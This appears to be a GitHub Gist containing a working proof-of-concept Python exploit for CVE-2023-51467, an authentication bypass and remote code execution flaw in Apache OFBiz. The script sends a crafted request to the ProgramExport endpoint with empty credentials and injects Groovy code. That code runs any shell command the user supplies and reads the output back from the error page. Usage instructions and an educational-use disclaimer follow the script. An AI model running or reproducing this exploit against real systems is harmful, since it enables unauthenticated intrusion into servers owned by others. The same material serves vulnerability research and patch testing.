Skip to content

Instantly share code, notes, and snippets.

@win3zz
Created December 31, 2023 09:48
Show Gist options
  • Save win3zz/353848f22126b212e85e3a2ba8a40263 to your computer and use it in GitHub Desktop.
Save win3zz/353848f22126b212e85e3a2ba8a40263 to your computer and use it in GitHub Desktop.
CVE-2023-51467: Apache OfBiz Auth Bypass and RCE

Apache OfBiz Auth Bypass and RCE - PoC

File: script.py

import requests
from bs4 import BeautifulSoup
import sys

def send_post_request(url, command):
    target_url = f"{url}/webtools/control/ProgramExport?USERNAME=&PASSWORD=&requirePasswordChange=Y"
    post_data = {"groovyProgram": f'def result = "{command}".execute().text\njava.lang.reflect.Field field = Thread.currentThread().getClass().getDeclaredField("win3zz"+result);'}

    response = requests.post(target_url, data=post_data)

    if response.status_code == 200:
        print("Request successfully sent.")
        
        # Parse the HTML content
        soup = BeautifulSoup(response.text, 'html.parser')
        
        # Find the div with id="content-messages" and class="content-messages errorMessage"
        error_div = soup.find('div', {'id': 'content-messages', 'class': 'content-messages errorMessage'})
        
        if error_div:
            # Extract and print the text content of the div and its descendants
            error_text = error_div.get_text(strip=True)
            print("Error Message:")
            print(error_text)
        else:
            print("No error message found.")
    else:
        print(f"Error: {response.status_code} - {response.text}")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python script.py <url> <command>")
        sys.exit(1)

    url_arg = sys.argv[1]
    command_arg = sys.argv[2]

    send_post_request(url_arg, command_arg)

Make sure to install beautifulsoup4 library if you haven't already by running pip install beautifulsoup4.

To run the script, use the following command:

user@host:~/CVE-2023-51467$ python3 script.py <url> <command>

Screenshot 2023-12-31 150337 - Copy

Disclaimer

This code and associated instructions are provided for educational purposes only. Unauthorized use for malicious intent, including but not limited to unauthorized access to computer systems, networks, or data, is strictly prohibited. The author disclaims any responsibility for misuse of the code or any negative consequences resulting from its use. Users are advised to adhere to ethical and legal standards when utilizing or experimenting with the provided code. It is recommended to obtain explicit permission before attempting to run this code on any systems or networks that are not owned or managed by the user.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment